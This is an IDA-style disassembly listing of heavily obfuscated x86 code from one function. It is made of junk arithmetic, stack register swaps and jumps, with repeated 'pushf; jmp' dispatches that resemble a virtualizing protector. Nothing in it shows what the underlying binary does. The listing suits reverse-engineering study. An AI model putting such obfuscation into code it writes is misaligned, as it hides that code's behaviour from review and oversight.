		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACF4A:				; CODE XREF: sub_58A891+1DEB5j
		mov	ebp, 4
		add	esi, ebp
		push	[esp+0BEh+var_BE]
		jmp	loc_5A71F4
; ---------------------------------------------------------------------------


loc_5ACF59:				; CODE XREF: sub_58A891+18449j
					; sub_58A891+22853j
		add	ebx, 0F7CC889h
		xor	ecx, ebx
		pop	ebx
		neg	ecx
		sub	ecx, 5D4554CFh
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ebx
		push	edi
		push	15476BFEh
		jmp	loc_5A7D69
; ---------------------------------------------------------------------------


loc_5ACF7E:				; CODE XREF: sub_58A891+1854Ej
		mov	dl, 82h
		sub	dl, cl
		pop	ecx
		jmp	loc_5AC01A
; ---------------------------------------------------------------------------


loc_5ACF88:				; CODE XREF: sub_58A891+1550Fj
		add	bh, 69h
		sub	bh, 7Ah
		jmp	loc_59C980
; ---------------------------------------------------------------------------


loc_5ACF93:				; CODE XREF: sub_58A891:loc_5AEB93j
		dec	edi
		jmp	loc_5A0BED
; ---------------------------------------------------------------------------


loc_5ACF99:				; CODE XREF: sub_58A891+20F75j
		and	ebp, 76490BC4h
		xor	ebp, 54410B40h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5A44B6
; ---------------------------------------------------------------------------


loc_5ACFAD:				; CODE XREF: sub_58A891+12430j
		add	edi, 4
		xchg	edi, [esp+82h+var_82]
		pop	esp
		xor	edi, [esp+7Eh+var_7E]
		xor	[esp+7Eh+var_7E], edi
		xor	edi, [esp+7Eh+var_7E]
		mov	esp, [esp+7Eh+var_7E]
		shr	word ptr [esp+7Eh+var_7E], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACFCA:				; CODE XREF: sub_58A891+16BFFj
		not	ecx
		jmp	loc_5AE880
; ---------------------------------------------------------------------------


loc_5ACFD1:				; CODE XREF: sub_58A891+258A2j
		mov	ebp, 77903378h
		inc	ebp
		sub	ebp, 2B2A6C5Ch
		xor	ebp, 106B14AAh
		and	ebp, 55860003h
		xor	ebp, 8DE36481h
		xor	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		jmp	loc_5AF046
; ---------------------------------------------------------------------------


loc_5ACFFD:				; CODE XREF: sub_58A891+1A507j
		mov	esi, esp
		push	54F5h
		mov	[esp-0Ah+arg_0+2], ecx
		mov	ecx, 2DC94A47h
		inc	ecx
		jmp	loc_59D94E
; ---------------------------------------------------------------------------


loc_5AD012:				; CODE XREF: sub_58A891+1D63Bj
		xor	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		push	ebx
		push	eax
		jmp	loc_5A0301
; ---------------------------------------------------------------------------


loc_5AD01F:				; CODE XREF: sub_58A891:loc_5A26B5j
		jmp	loc_5AD7BD
; ---------------------------------------------------------------------------


loc_5AD024:				; CODE XREF: sub_58A891+17284j
		jnp	loc_59F0CC
		add	ebx, 8240B089h
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 4B9922B1h
		dec	ecx
		jmp	loc_59F60B
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_5AFF69
; ---------------------------------------------------------------------------


loc_5AD050:				; CODE XREF: sub_58A891+12B17j
		xor	edi, 0E83C5AF5h
		mov	ecx, edi
		jmp	loc_5B1DFB
; ---------------------------------------------------------------------------


loc_5AD05D:				; CODE XREF: sub_58A891+14C67j
		mov	[esp-12h+arg_8+2], ebx
		jmp	loc_59D8AF
; ---------------------------------------------------------------------------


loc_5AD065:				; CODE XREF: sub_58A891+16694j
		pop	esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp+0BEh+var_BE]
		add	esp, 4
		xchg	ebx, [esp+0BAh+var_BA]
		jmp	loc_59DD64
; ---------------------------------------------------------------------------


loc_5AD07C:				; CODE XREF: sub_58A891+18A37j
		shl	esi, 1
		shl	esi, 5
		jmp	loc_5A57D2
; ---------------------------------------------------------------------------


loc_5AD086:				; CODE XREF: sub_58A891+149E0j
		add	di, 29B7h
		jge	loc_5B0BEB
		xor	di, 0B2EDh
		mov	bx, di
		pop	edi
		shl	bx, 7
		mov	al, dl


loc_5AD0A0:				; CODE XREF: sub_58A891+12B76j
		xor	ecx, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], ecx
		xor	ecx, [esp+0A2h+var_A2]
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0A2h+var_A2]
		push	edx
		jmp	loc_5A3683
; ---------------------------------------------------------------------------


loc_5AD0B8:				; CODE XREF: sub_58A891+147BEj
		pop	ebp
		add	esi, 78DA063Eh
		jp	loc_59D616
		jmp	loc_5AA91D
; ---------------------------------------------------------------------------
		pop	eax
		mov	ch, ch
		mov	esi, ebx


loc_5AD0CF:				; CODE XREF: sub_58A891+1E050j
		push	[esp+82h+var_82]
		pop	esi
		jmp	loc_5A7DB6
; ---------------------------------------------------------------------------


loc_5AD0D8:				; CODE XREF: sub_58A891+1602Ej
		sub	ebx, 4B526641h
		and	ebx, 0B355F4h
		jmp	loc_5ACF59
; ---------------------------------------------------------------------------


loc_5AD0E9:				; CODE XREF: sub_58A891+22F94j
		add	edx, 4
		push	esi
		mov	esi, 392C0A82h
		shr	esi, 4
		jmp	loc_5A0380
; ---------------------------------------------------------------------------


loc_5AD0FD:				; CODE XREF: sub_58A891:loc_5A7C2Bj
		jmp	loc_5AD26A
; ---------------------------------------------------------------------------


loc_5AD102:				; CODE XREF: sub_58A891:loc_5AA928j
		push	esi
		mov	esi, 72D7508Eh
		shl	esi, 1
		jmp	loc_59DF42
; ---------------------------------------------------------------------------


loc_5AD10F:				; CODE XREF: sub_58A891+2791Cj
		mov	edi, [esp+70h+var_70]
		add	esp, 4
		push	esi
		jmp	loc_5ACC89
; ---------------------------------------------------------------------------


loc_5AD11E:				; CODE XREF: sub_58A891+1377Cj
					; sub_58A891+268C6j
		mov	ecx, esp
		jmp	loc_5B2E18
; ---------------------------------------------------------------------------


loc_5AD125:				; CODE XREF: sub_58A891+19F69j
		and	edx, 6EB221Ch
		sub	edx, 2F5C39ADh
		sub	edx, 62444C51h
		sub	edx, 63455070h
		add	edx, 0FD4050A6h
		sub	ecx, edx
		pop	edx
		add	ecx, 794C647Dh
		sub	ecx, 57F57252h
		pop	ebx
		xor	ecx, [esp+0BEh+var_BE]
		jmp	loc_5A6DA1
; ---------------------------------------------------------------------------


loc_5AD15B:				; CODE XREF: sub_58A891+1AE1Ej
		shl	eax, 6
		jnz	loc_59E1C3
		add	eax, 6C436185h
		jnz	loc_59E2F3
		shl	eax, 2
		push	edx


loc_5AD173:				; CODE XREF: sub_58A891+126A8j
		push	edi
		jmp	loc_5A1922
; ---------------------------------------------------------------------------


loc_5AD179:				; CODE XREF: sub_58A891+17EBCj
		push	edx
		mov	edx, 4B396BA3h
		neg	edx
		add	edx, 0E9EAF014h
		add	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		xchg	edx, [esp+92h+var_92]
		pop	esp
		add	eax, ebp
		jmp	loc_5AF5D1
; ---------------------------------------------------------------------------


loc_5AD198:				; CODE XREF: sub_58A891+272E8j
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+8Ah+var_8A]
		jmp	loc_5B1F9A
; ---------------------------------------------------------------------------


loc_5AD1A3:				; CODE XREF: sub_58A891+2815Dj
		push	1664h
		mov	[esp+8Eh+var_8E], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5B2C91
; ---------------------------------------------------------------------------


loc_5AD1B8:				; CODE XREF: sub_58A891+181A7j
					; sub_58A891+23A9Aj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD1BD:				; CODE XREF: sub_58A891+20E8Bj
		push	ebp
		push	edi
		mov	edi, 4C756420h
		add	edi, 7D1754D4h
		jmp	loc_5AEB93
; ---------------------------------------------------------------------------


loc_5AD1CF:				; CODE XREF: sub_58A891:loc_5AD9FAj
		add	bl, 0
		jmp	loc_5ADD44
; ---------------------------------------------------------------------------


loc_5AD1D7:				; CODE XREF: sub_58A891+1A445j
		push	ebp
		mov	ebp, 6A4A4A15h
		jmp	loc_59ED2D
; ---------------------------------------------------------------------------


loc_5AD1E2:				; CODE XREF: sub_58A891+1F111j
		sub	edx, esi
		sub	edx, 6B1B5C23h
		jmp	loc_5B0414
; ---------------------------------------------------------------------------


loc_5AD1EF:				; CODE XREF: sub_58A891+18934j
					; sub_58A891+2453Cj
		mov	edi, 7BBE4534h
		xor	edx, edi
		pop	edi
		jmp	loc_5B08A1
; ---------------------------------------------------------------------------


loc_5AD1FC:				; CODE XREF: sub_58A891+121D8j
		sub	esp, 4
		mov	[esp+86h+var_86], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AFCA9
; ---------------------------------------------------------------------------


loc_5AD212:				; CODE XREF: sub_58A891+13F2Cj
		mov	[esp+8Eh+var_8E], ebp
		jmp	loc_5A4BAF
; ---------------------------------------------------------------------------


loc_5AD21A:				; CODE XREF: sub_58A891+26912j
		push	708248F3h
		jmp	loc_5AD396
; ---------------------------------------------------------------------------


loc_5AD224:				; CODE XREF: sub_58A891+165ECj
		sub	ecx, 1
		push	edx
		mov	edx, 31FD2F4Ch
		not	edx
		not	edx
		sub	edx, 0AFD048Eh
		and	ecx, edx
		pop	edx
		add	ecx, 1505D9EFh
		sub	edx, ecx
		pop	ecx
		jmp	loc_59C8D9
; ---------------------------------------------------------------------------


loc_5AD24B:				; CODE XREF: sub_58A891+239DFj
		push	ebx
		mov	ebx, 74CC1990h
		add	edx, ebx
		mov	ebx, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_59ED5F
; ---------------------------------------------------------------------------


loc_5AD261:				; CODE XREF: sub_58A891+20614j
		xchg	ebx, [esp+68h+var_68]
		pop	esp
		jmp	loc_59F8D3
; ---------------------------------------------------------------------------


loc_5AD26A:				; CODE XREF: sub_58A891:loc_5AD0FDj
		add	bl, 1
		inc	bl
		sub	bl, 54h
		jle	loc_5A366B
		jmp	loc_5A79B5
; ---------------------------------------------------------------------------


loc_5AD27D:				; CODE XREF: sub_58A891+26FA7j
		or	bh, 24h
		not	bh
		shl	bh, 8
		add	bh, 47h
		mov	ah, bh
		pop	ebx
		jmp	loc_59CFC7
; ---------------------------------------------------------------------------


loc_5AD290:				; CODE XREF: sub_58A891+1F65Aj
		sub	esp, 4
		jmp	loc_5AB607
; ---------------------------------------------------------------------------


loc_5AD29B:				; CODE XREF: sub_58A891+22A35j
		push	0E0Fh
		jmp	loc_5A06BC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+24h+var_24], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD2B4:				; CODE XREF: sub_58A891+21061j
		sub	bx, 45E0h
		sub	bx, bp
		add	bx, 45E0h
		xchg	bx, bp
		pop	bx
		jmp	loc_5AD29B
; ---------------------------------------------------------------------------


loc_5AD2CB:				; CODE XREF: sub_58A891+243DBj
		mov	ebp, [esp+0]
		jmp	loc_5AFE83
; ---------------------------------------------------------------------------


loc_5AD2D3:				; CODE XREF: sub_58A891+2746Fj
		xor	esi, 21910D2Ch
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 4
		jmp	loc_5A6AFC
; ---------------------------------------------------------------------------


loc_5AD2E7:				; CODE XREF: sub_58A891+27572j
		push	[esp-6+arg_0+2]
		jmp	loc_5A170A
; ---------------------------------------------------------------------------


loc_5AD2F0:				; CODE XREF: sub_58A891+20C22j
		pop	[esp+84h+var_86+2]
		mov	esp, [esp+80h+var_82+2]
		mov	[esp+80h+var_82+2], ebx
		push	[esp+80h+var_82+2]
		mov	eax, [esp+84h+var_86+2]
		sub	esp, 4
		mov	[esp+88h+var_8A+2], ebx
		jmp	loc_59F59A
; ---------------------------------------------------------------------------


loc_5AD30D:				; CODE XREF: sub_58A891+2570Cj
		mov	[esp+88h+var_8A+2], eax
		xor	[esp+88h+var_8A+2], 696563C2h
		pop	edi
		xor	edi, 696563C2h
		pop	eax
		shr	edi, 8
		push	ebp
		mov	ebp, 0C191765h
		jmp	loc_59DCCB
; ---------------------------------------------------------------------------


loc_5AD32D:				; CODE XREF: sub_58A891+14316j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		sub	ebx, 335E1289h
		add	ebx, esi
		add	ebx, 335E1289h
		jmp	loc_5A09EF
; ---------------------------------------------------------------------------


loc_5AD348:				; CODE XREF: sub_58A891+20CB1j
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 59C915DDh
		inc	ebp
		push	ebx
		jmp	loc_5AF670
; ---------------------------------------------------------------------------


loc_5AD35D:				; CODE XREF: sub_58A891+24E0Cj
		mov	esi, 2
		push	ecx
		mov	ecx, esp
		jmp	loc_5B258C
; ---------------------------------------------------------------------------


loc_5AD36A:				; CODE XREF: sub_58A891+283B8j
		jmp	loc_5A39D4
; ---------------------------------------------------------------------------


loc_5AD36F:				; CODE XREF: sub_58A891+243B6j
		xor	ebx, [esp+0Ah+var_C+2]
		jmp	loc_5A78A4
; ---------------------------------------------------------------------------


loc_5AD377:				; CODE XREF: sub_58A891+1195Aj
		xor	esi, [esp-0Ah+arg_0+2]
		jmp	loc_5A5AAB
; ---------------------------------------------------------------------------


loc_5AD37F:				; CODE XREF: sub_58A891+24155j
		pop	edx
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		jmp	loc_5A1F44
; ---------------------------------------------------------------------------


loc_5AD38B:				; CODE XREF: sub_58A891+170CEj
		xor	esi, 30205h
		jmp	loc_5AE676
; ---------------------------------------------------------------------------


loc_5AD396:				; CODE XREF: sub_58A891+2298Ej
		pop	eax
		or	eax, 46C84734h
		jbe	loc_5AE04C
		jmp	loc_5A5BFE
; ---------------------------------------------------------------------------


loc_5AD3A7:				; CODE XREF: sub_58A891:loc_5AF080j
		neg	ecx
		xor	ecx, 5AE53B68h
		jmp	loc_5A0E43
; ---------------------------------------------------------------------------


loc_5AD3B4:				; CODE XREF: sub_58A891+1DFE3j
		add	esp, 4
		xchg	ecx, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	word ptr [esp+1Eh+var_20+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD3CD:				; CODE XREF: sub_58A891+22057j
		pop	edi
		pop	[esp+92h+var_92]
		pop	esp
		jmp	loc_5A3775
; ---------------------------------------------------------------------------


loc_5AD3D7:				; CODE XREF: sub_58A891+260A1j
		mov	edi, [esp+8Ah+var_8A]
		add	esp, 4
		push	esi
		mov	esi, 35FD6305h
		sub	esi, 0C0C6023Ch
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5AFA0D
; ---------------------------------------------------------------------------


loc_5AD3F5:				; CODE XREF: sub_58A891+24A8Bj
		sub	esp, 4
		jmp	loc_59EE9D
; ---------------------------------------------------------------------------


loc_5AD400:				; CODE XREF: sub_58A891+239BCj
		sub	bl, dl
		pop	dx
		push	eax
		mov	al, 2Ah
		sub	bl, al
		pop	eax
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	2A09h
		mov	[esp+90h+var_92+2], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD41D:				; CODE XREF: sub_58A891+146ACj
		sub	esi, 27E0E8F1h
		jmp	loc_5A84BC
; ---------------------------------------------------------------------------


loc_5AD428:				; CODE XREF: sub_58A891+16F8Aj
		xor	ebp, eax
		jmp	loc_5AF5AE
; ---------------------------------------------------------------------------


loc_5AD42F:				; CODE XREF: sub_58A891+17FADj
		pop	esp
		jmp	loc_59DDC8
; ---------------------------------------------------------------------------


loc_5AD435:				; CODE XREF: sub_58A891:loc_5A53EEj
		dec	ecx
		jmp	loc_5A0358
; ---------------------------------------------------------------------------


loc_5AD43B:				; CODE XREF: sub_58A891+19C20j
		sub	ebx, 270F5551h
		add	ebx, 4892391Ch
		mov	eax, [esp+0Ah+var_C+2]
		jmp	loc_5AB8E4
; ---------------------------------------------------------------------------


loc_5AD44F:				; CODE XREF: sub_58A891+18AF5j
		push	edx
		mov	dh, 94h
		push	edx
		not	byte ptr [esp-0Eh+arg_4+3]
		pop	edx
		add	dh, 0AFh
		and	dh, 0E8h
		neg	dh
		jmp	loc_59CEC2
; ---------------------------------------------------------------------------


loc_5AD465:				; CODE XREF: sub_58A891+16F39j
		jmp	loc_5A6708
; ---------------------------------------------------------------------------


loc_5AD46A:				; CODE XREF: sub_58A891+18DCCj
		pop	ebx
		shr	cl, 5
		jmp	loc_5AA7A7
; ---------------------------------------------------------------------------


loc_5AD473:				; CODE XREF: sub_58A891+211B4j
		push	edi
		jmp	loc_59CC21
; ---------------------------------------------------------------------------


loc_5AD479:				; CODE XREF: sub_58A891+23238j
		pop	ebp
		jmp	loc_5A99B2
; ---------------------------------------------------------------------------


loc_5AD47F:				; CODE XREF: sub_58A891+2796Bj
		push	ebp
		push	271940A1h
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		shr	ebp, 5
		jnp	loc_5B0283
		push	eax
		mov	eax, 0D597FA9h
		jmp	loc_5AD8EE
; ---------------------------------------------------------------------------


loc_5AD4A2:				; CODE XREF: sub_58A891+1D7A7j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A7579
; ---------------------------------------------------------------------------


loc_5AD4AF:				; CODE XREF: sub_58A891+1262Cj
		add	ebp, 4
		xchg	ebp, [esp+74h+var_74]
		jmp	loc_59D1C6
; ---------------------------------------------------------------------------


loc_5AD4BD:				; CODE XREF: sub_58A891+25B60j
		sub	edx, esi
		pop	esi
		jmp	loc_59E241
; ---------------------------------------------------------------------------


loc_5AD4C5:				; CODE XREF: sub_58A891+20824j
		mov	[esp-12h+arg_8+2], ebx
		push	6AC0F410h
		mov	ebx, [esp-0Eh+arg_4+2]
		add	esp, 4
		sub	eax, 48761AB1h
		push	edi
		mov	edi, 11753730h
		xor	edi, 5CE458FEh
		add	eax, edi
		jmp	loc_5A523E
; ---------------------------------------------------------------------------


loc_5AD4EB:				; CODE XREF: sub_58A891+1C252j
					; sub_58A891+26990j
		push	[esp+7Eh+var_7E]
		pop	ebp
		jmp	loc_5B02D0
; ---------------------------------------------------------------------------


loc_5AD4F4:				; CODE XREF: sub_58A891+23BA3j
		mov	edi, [esp+7Eh+var_7E]
		jmp	loc_5B19C9
; ---------------------------------------------------------------------------


loc_5AD4FC:				; CODE XREF: sub_58A891+27CE6j
		shl	ecx, 8
		push	esi
		push	edx
		mov	edx, 55E70BE3h
		mov	esi, edx
		mov	edx, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_5A87B3
; ---------------------------------------------------------------------------


loc_5AD516:				; CODE XREF: sub_58A891+129BFj
		push	edx
		mov	edx, 7FFA1245h
		add	eax, edx
		jmp	loc_5A3979
; ---------------------------------------------------------------------------


loc_5AD523:				; CODE XREF: sub_58A891+1A333j
		inc	[esp-0Ah+arg_0+2]
		pop	ebp
		sub	ebp, 32530AD2h
		xor	ebp, 0E018246Ah
		or	edx, ebp
		jmp	loc_59E1FB
; ---------------------------------------------------------------------------


loc_5AD53A:				; CODE XREF: sub_58A891+2691Fj
		shl	eax, 8
		jmp	loc_5A8701
; ---------------------------------------------------------------------------


loc_5AD542:				; CODE XREF: sub_58A891+1DCD7j
		pop	esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5AE35B
; ---------------------------------------------------------------------------


loc_5AD550:				; CODE XREF: sub_58A891+17673j
					; sub_58A891+26637j
		sub	edi, 0CD806F00h
		mov	ebp, edi
		pop	edi
		add	ecx, ebp
		mov	ebp, [esp+0B2h+var_B2]
		add	esp, 4
		add	ecx, edi
		push	ebx
		push	edi
		mov	edi, 7E431508h
		shr	edi, 4
		shr	edi, 8
		xor	edi, 3291A838h
		jmp	loc_5A15B7
; ---------------------------------------------------------------------------


loc_5AD57E:				; CODE XREF: sub_58A891+216A4j
		add	ch, bh
		pop	ebx
		push	70A6h
		mov	[esp-0Eh+arg_4+2], edx
		push	ecx
		mov	cl, 0
		push	ecx
		mov	ch, 0C0h
		mov	dh, 37h
		add	dh, ch
		pop	ecx
		add	dh, 0D2h
		add	dh, cl
		sub	dh, 0D2h
		mov	ecx, [esp-0Ah+arg_0+2]
		add	esp, 4
		sub	ch, 74h
		add	ch, dh
		add	ch, 74h
		pop	edx
		xor	al, ch
		jmp	loc_5AF098
; ---------------------------------------------------------------------------


loc_5AD5B5:				; CODE XREF: sub_58A891:loc_5A14FBj
		add	ebx, 62510D19h
		jle	loc_59FC41
		sub	ebx, 0ADD7483Eh
		mov	eax, ebx
		pop	ebx
		xor	ebx, eax
		jmp	loc_5ABDC4
; ---------------------------------------------------------------------------


loc_5AD5D1:				; CODE XREF: sub_58A891:loc_5A643Bj
		push	eax
		mov	eax, 0E76D2504h
		jmp	loc_5A3879
; ---------------------------------------------------------------------------


loc_5AD5DC:				; CODE XREF: sub_58A891+1E5A7j
		sub	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 0
		sub	esi, edi
		mov	edi, esi
		jmp	loc_5A3EEB
; ---------------------------------------------------------------------------


loc_5AD5EE:				; CODE XREF: sub_58A891+1BF38j
		add	edx, eax
		jmp	loc_5B220F
; ---------------------------------------------------------------------------


loc_5AD5F5:				; CODE XREF: sub_58A891+260C2j
		shl	edx, 6
		jnp	loc_5AF49C
		xor	edx, 7F5320C2h
		jmp	loc_5A10F4
; ---------------------------------------------------------------------------
		pop	edi
		add	esi, edi


loc_5AD60C:				; CODE XREF: sub_58A891+1A201j
		xchg	ebx, [esp+0]
		pop	esp
		push	ecx
		mov	ecx, 2
		jmp	loc_59D88B
; ---------------------------------------------------------------------------


loc_5AD61B:				; CODE XREF: sub_58A891+14FE8j
		add	eax, 6CDA083h
		shl	eax, 8
		xchg	eax, ecx
		not	ecx
		jmp	loc_5ADC47
; ---------------------------------------------------------------------------


loc_5AD62B:				; CODE XREF: sub_58A891+19B4Fj
					; sub_58A891+1E114j
		mov	esi, 285336E7h
		dec	esi
		shr	esi, 8
		jmp	loc_59D8CD
; ---------------------------------------------------------------------------


loc_5AD639:				; CODE XREF: sub_58A891+12EF6j
		jmp	loc_5A4698
; ---------------------------------------------------------------------------


loc_5AD63E:				; CODE XREF: sub_58A891+18A0Fj
		xor	edx, 5D814581h
		shr	edx, 8
		or	edx, 5EE062E6h
		sub	edx, 5EF96AEDh
		jmp	loc_5AFCDF
; ---------------------------------------------------------------------------


loc_5AD658:				; CODE XREF: sub_58A891+230E4j
		xchg	eax, [esp-1Eh+arg_18+2]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_59EF4F
; ---------------------------------------------------------------------------


loc_5AD664:				; CODE XREF: sub_58A891+28022j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0], ebp
		jmp	loc_59C875
; ---------------------------------------------------------------------------


loc_5AD67A:				; CODE XREF: sub_58A891+17963j
		push	esp
		pop	edx
		sub	esp, 4
		jmp	loc_5B1843
; ---------------------------------------------------------------------------


loc_5AD687:				; CODE XREF: sub_58A891+253E2j
		pop	[esp-0Ah+arg_0+2]
		pop	esp
		jmp	loc_5A3CC2
; ---------------------------------------------------------------------------


loc_5AD690:				; CODE XREF: sub_58A891+159BFj
		mov	esi, 599D1DC4h
		shl	esi, 1
		sub	esi, 75DC144Dh
		add	esi, 1
		add	esi, 0BB0BA039h
		xor	ecx, esi
		pop	esi
		jmp	loc_5B13DB
; ---------------------------------------------------------------------------


loc_5AD6B1:				; CODE XREF: sub_58A891+1FF11j
		push	edi
		sub	esp, 4
		mov	[esp+82h+var_82], edx
		jmp	loc_5A1C12
; ---------------------------------------------------------------------------


loc_5AD6BD:				; CODE XREF: sub_58A891+1A09Fj
		mov	eax, [esp+22h+var_24+2]
		jmp	loc_59EA1F
; ---------------------------------------------------------------------------


loc_5AD6C5:				; CODE XREF: sub_58A891+1F5ECj
		pop	edi
		jmp	loc_5B0FB0
; ---------------------------------------------------------------------------


loc_5AD6CB:				; CODE XREF: sub_58A891+1CC82j
		mov	[esp+32h+var_34+2], esi
		push	esp
		jmp	loc_5ABD91
; ---------------------------------------------------------------------------


loc_5AD6D4:				; CODE XREF: sub_58A891+15786j
		add	esi, 4EEF0E57h
		mov	eax, esi
		jmp	loc_5A5A99
; ---------------------------------------------------------------------------


loc_5AD6E1:				; CODE XREF: sub_58A891+1F048j
		add	esp, 4
		mov	edi, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0F16
; ---------------------------------------------------------------------------


loc_5AD6F2:				; CODE XREF: sub_58A891+1D38Aj
		add	esp, 2
		push	small 1B22h
		mov	word ptr [esp+80h+var_82+2], bx
		push	edx
		push	ecx
		push	eax
		mov	al, 75h
		mov	ch, al
		mov	eax, [esp+8Ch+var_8E+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A9656
; ---------------------------------------------------------------------------


loc_5AD718:				; CODE XREF: sub_58A891+1496Dj
		xor	edi, [esp+0BEh+var_BE]
		mov	esp, [esp+0BEh+var_BE]
		shr	[esp+0BEh+var_BE], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD727:				; CODE XREF: sub_58A891+1EE87j
		not	dl
		mov	cl, dl
		push	[esp+96h+var_96]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A2672
; ---------------------------------------------------------------------------


loc_5AD73D:				; CODE XREF: sub_58A891+2120Bj
		pop	ecx
		pop	[esp+2Ah+var_2C+2]
		mov	esp, [esp+26h+var_28+2]
		jmp	loc_5A0618
; ---------------------------------------------------------------------------


loc_5AD749:				; CODE XREF: sub_58A891+21AD6j
		pop	ecx
		add	bl, al
		mov	ax, [esp+0]
		push	56A9h
		mov	[esp-16h+arg_E], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		push	ebx
		jmp	loc_59E274
; ---------------------------------------------------------------------------


loc_5AD769:				; CODE XREF: sub_58A891+1ABDAj
		add	edx, 3F375F2Ch
		jmp	loc_59E1E8
; ---------------------------------------------------------------------------


loc_5AD774:				; CODE XREF: sub_58A891+26418j
		pop	edx
		add	eax, edi
		push	ebx
		mov	ebx, 6AC7B40h
		jmp	loc_5A8FDD
; ---------------------------------------------------------------------------


loc_5AD782:				; CODE XREF: sub_58A891+1B2C3j
		neg	esi
		and	esi, 6DD6663Dh
		shr	esi, 6
		and	esi, 60DB37F1h
		add	esi, 64BDFBFCh
		mov	ebx, esi
		pop	esi
		shl	ebx, 2
		sub	ebx, 522E5D0Fh
		shr	ebx, 1
		sub	ebx, 0ECF7A416h
		mov	esi, ebx
		pop	ebx
		mov	ebx, esi
		jmp	loc_5AC9D2
; ---------------------------------------------------------------------------


loc_5AD7B7:				; CODE XREF: sub_58A891+13B5Ej
		push	ebx
		jmp	loc_5AB7A3
; ---------------------------------------------------------------------------


loc_5AD7BD:				; CODE XREF: sub_58A891+1F9BDj
					; sub_58A891:loc_5AD01Fj
		not	edi
		xchg	edi, [esp+12h+var_14+2]
		mov	edx, [esp+12h+var_14+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A1827
; ---------------------------------------------------------------------------


loc_5AD7D6:				; CODE XREF: sub_58A891+1C399j
		push	esi
		mov	esi, 255520F7h
		sub	edx, 50BE3819h
		add	edx, 1AEE3BA0h
		add	edx, esi
		sub	edx, 1AEE3BA0h
		add	edx, 50BE3819h
		mov	esi, [esp+36h+var_38+2]
		jmp	loc_5A6610
; ---------------------------------------------------------------------------


loc_5AD7FE:				; CODE XREF: sub_58A891+231ADj
		sub	edi, 75CB66E1h
		add	edi, 20ACEEC2h
		add	ebx, edi
		jmp	loc_5A210E
; ---------------------------------------------------------------------------


loc_5AD811:				; CODE XREF: sub_58A891+164EFj
		neg	ebp
		jb	loc_5A63A5
		push	ebx
		mov	ebx, 498839C5h
		inc	ebx
		or	al, 7Fh
		pop	edx


loc_5AD823:				; CODE XREF: sub_58A891+186E9j
		mov	edx, esp
		jmp	loc_5AD0E9
; ---------------------------------------------------------------------------


loc_5AD82A:				; CODE XREF: sub_58A891+1952Aj
		pop	esp
		div	ecx
		push	6C58h
		jmp	loc_59EFC9
; ---------------------------------------------------------------------------


loc_5AD837:				; CODE XREF: sub_58A891+20B61j
		add	esi, 3ABCC56Fh
		sub	eax, 70834C12h
		jmp	loc_5AA060
; ---------------------------------------------------------------------------


loc_5AD847:				; CODE XREF: sub_58A891+184B5j
		add	al, bl
		sub	al, 0BAh
		push	[esp+4Ch+var_4E+2]
		jmp	loc_5AB831
; ---------------------------------------------------------------------------


loc_5AD853:				; CODE XREF: sub_58A891+1B078j
		xchg	ebp, [esp+4Ah+var_4A]
		pop	esp
		sub	bl, al
		jmp	loc_5A13F7
; ---------------------------------------------------------------------------


loc_5AD85E:				; CODE XREF: sub_58A891+1714Cj
		sub	ebp, 1
		shl	ebp, 5
		add	ebp, 0DC02196Fh
		sub	eax, ebp
		jmp	loc_59CE29
; ---------------------------------------------------------------------------


loc_5AD871:				; CODE XREF: sub_58A891+25914j
		xor	edx, ecx
		jmp	loc_59EDE9
; ---------------------------------------------------------------------------


loc_5AD878:				; CODE XREF: sub_58A891+1FCCAj
		sub	al, bl
		mov	ebx, [esp+0]
		jmp	loc_5A19E9
; ---------------------------------------------------------------------------


loc_5AD882:				; CODE XREF: sub_58A891+18335j
		mov	ah, cl
		push	edx
		mov	dl, ah
		not	dl
		mov	ah, dl
		jmp	loc_5AC53E
